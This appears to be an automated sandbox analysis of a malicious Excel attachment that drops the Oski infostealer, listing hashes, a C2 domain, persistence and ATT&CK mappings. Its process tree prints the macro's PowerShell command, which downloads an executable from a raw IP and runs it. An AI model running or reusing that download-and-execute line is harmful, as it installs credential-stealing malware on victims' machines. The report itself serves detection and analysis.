oski | 9099f8ecee77fd796796c8a399a103dd35ad32d0a0c596045e96ec56b1836af2

General

Target

RFQ0722.xls
Size

457KB
MD5

77358b120c49a00939b58f530827101b
SHA1

0243ff329e56636195dc9f8e2c7e8e23ce9a4d88
SHA256

9099f8ecee77fd796796c8a399a103dd35ad32d0a0c596045e96ec56b1836af2
SHA512

a39b0c58cb52854f7ce8a9c2840687e9aba86271f8af5e40d416987749b7e5ebecd62ff0d3c1339006bc6bc56fa64ab183c163224c76c9402ef8dd50c2308043

Score

10^/10

oski infostealer persistence suricata

Malware Config

Extracted

Family

oski

C2

manguerassorna.com

Signatures

Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2940	4536	POWERshEll.ExE	80

suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
suricata

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	2940	POWERshEll.ExE

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
4280	o.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	o.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wınrarçexe = "\"C:\\Users\\Admin\\AppData\\Roaming\\wınrarçexe.exe\""	o.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4280 set thread context of 2096	4280	o.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1672	2096	WerFault.exe	88

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4536	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2940	POWERshEll.ExE
2940	POWERshEll.ExE
3476	powershell.exe
3476	powershell.exe
4280	o.exe
4280	o.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2940	POWERshEll.ExE
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	4280	o.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE
4536	EXCEL.EXE

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4536 wrote to memory of 2940	4536	EXCEL.EXE	81
PID 4536 wrote to memory of 2940	4536	EXCEL.EXE	81
PID 2940 wrote to memory of 4280	2940	POWERshEll.ExE	83
PID 2940 wrote to memory of 4280	2940	POWERshEll.ExE	83
PID 2940 wrote to memory of 4280	2940	POWERshEll.ExE	83
PID 4280 wrote to memory of 3476	4280	o.exe	84
PID 4280 wrote to memory of 3476	4280	o.exe	84
PID 4280 wrote to memory of 3476	4280	o.exe	84
PID 4280 wrote to memory of 2096	4280	o.exe	88
PID 4280 wrote to memory of 2096	4280	o.exe	88
PID 4280 wrote to memory of 2096	4280	o.exe	88
PID 4280 wrote to memory of 2096	4280	o.exe	88
PID 4280 wrote to memory of 2096	4280	o.exe	88
PID 4280 wrote to memory of 2096	4280	o.exe	88
PID 4280 wrote to memory of 2096	4280	o.exe	88
PID 4280 wrote to memory of 2096	4280	o.exe	88
PID 4280 wrote to memory of 2096	4280	o.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RFQ0722.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\System32\WindowsPowerShell\v1.0\POWERshEll.ExE
  POWERshEll.ExE wGet http://179.43.175.187/zqde/Jzqmynb.exe -outFIlE o.exe ; .\o.exe
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Users\Admin\Documents\o.exe
    "C:\Users\Admin\Documents\o.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgAwAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3476
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      4⤵
      PID:2096
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 1288
        5⤵
        Program crash
        
        PID:1672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2096 -ip 2096
1⤵
PID:4132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
98ca3263bd17f6f4308b8e4ff7530958

SHA1
6f41bacd42af6a11bb8d1516f7b07171087e7a17

SHA256
d25dfa289ae0981cb5c6da04de6c9f1a4aaf51ba8eafb7aeda3c9e5a27268e19

SHA512
f2ad36f84956741c2e3ef494a36f2a96bf944ab035419e82447bb25a53b309a9e93b450d679cb5709f6acb5a2b7956c568b280151b65313637f758ffd08f01e7

Download Submit
C:\Users\Admin\Documents\o.exe

Filesize
470KB

MD5
b0d0a4af8f13d80eafe1238bd3f684c8

SHA1
23f10ff96e9933590fb9c384c543d20ab695733f

SHA256
938f4e648e57b9ad6d41ea3fe8707c0f249ba2baa24a5af557b4f09d698b8145

SHA512
5c5297e21c1a37d72894cd232a0833c917d886fb2f8aae9015a41b986a8c4738d90372181cfad5d1bb2584e9b4fbfa2a719752f2973629e42cd562487cdbeffd

Download Submit
C:\Users\Admin\Documents\o.exe

Filesize
470KB

MD5
b0d0a4af8f13d80eafe1238bd3f684c8

SHA1
23f10ff96e9933590fb9c384c543d20ab695733f

SHA256
938f4e648e57b9ad6d41ea3fe8707c0f249ba2baa24a5af557b4f09d698b8145

SHA512
5c5297e21c1a37d72894cd232a0833c917d886fb2f8aae9015a41b986a8c4738d90372181cfad5d1bb2584e9b4fbfa2a719752f2973629e42cd562487cdbeffd

Download Submit
memory/2096-157-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2096-156-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2096-158-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2096-159-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2096-160-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2940-143-0x00007FF925390000-0x00007FF925E51000-memory.dmp

Filesize
10.8MB

Download
memory/2940-138-0x000001FC4E370000-0x000001FC4E392000-memory.dmp

Filesize
136KB

Download
memory/2940-139-0x00007FF925390000-0x00007FF925E51000-memory.dmp

Filesize
10.8MB

Download
memory/3476-154-0x0000000006550000-0x000000000656A000-memory.dmp

Filesize
104KB

Download
memory/3476-153-0x00000000078E0000-0x0000000007F5A000-memory.dmp

Filesize
6.5MB

Download
memory/3476-152-0x0000000006070000-0x000000000608E000-memory.dmp

Filesize
120KB

Download
memory/3476-147-0x0000000002730000-0x0000000002766000-memory.dmp

Filesize
216KB

Download
memory/3476-148-0x0000000005380000-0x00000000059A8000-memory.dmp

Filesize
6.2MB

Download
memory/3476-149-0x00000000059B0000-0x0000000005A16000-memory.dmp

Filesize
408KB

Download
memory/3476-150-0x0000000005A20000-0x0000000005A86000-memory.dmp

Filesize
408KB

Download
memory/4280-144-0x0000000000C60000-0x0000000000CD8000-memory.dmp

Filesize
480KB

Download
memory/4280-145-0x00000000057A0000-0x00000000057C2000-memory.dmp

Filesize
136KB

Download
memory/4536-134-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download
memory/4536-136-0x00007FF90C850000-0x00007FF90C860000-memory.dmp

Filesize
64KB

Download
memory/4536-135-0x00007FF90C850000-0x00007FF90C860000-memory.dmp

Filesize
64KB

Download
memory/4536-130-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download
memory/4536-133-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download
memory/4536-132-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download
memory/4536-131-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download
memory/4536-162-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download
memory/4536-163-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download
memory/4536-164-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download
memory/4536-165-0x00007FF90EBD0000-0x00007FF90EBE0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads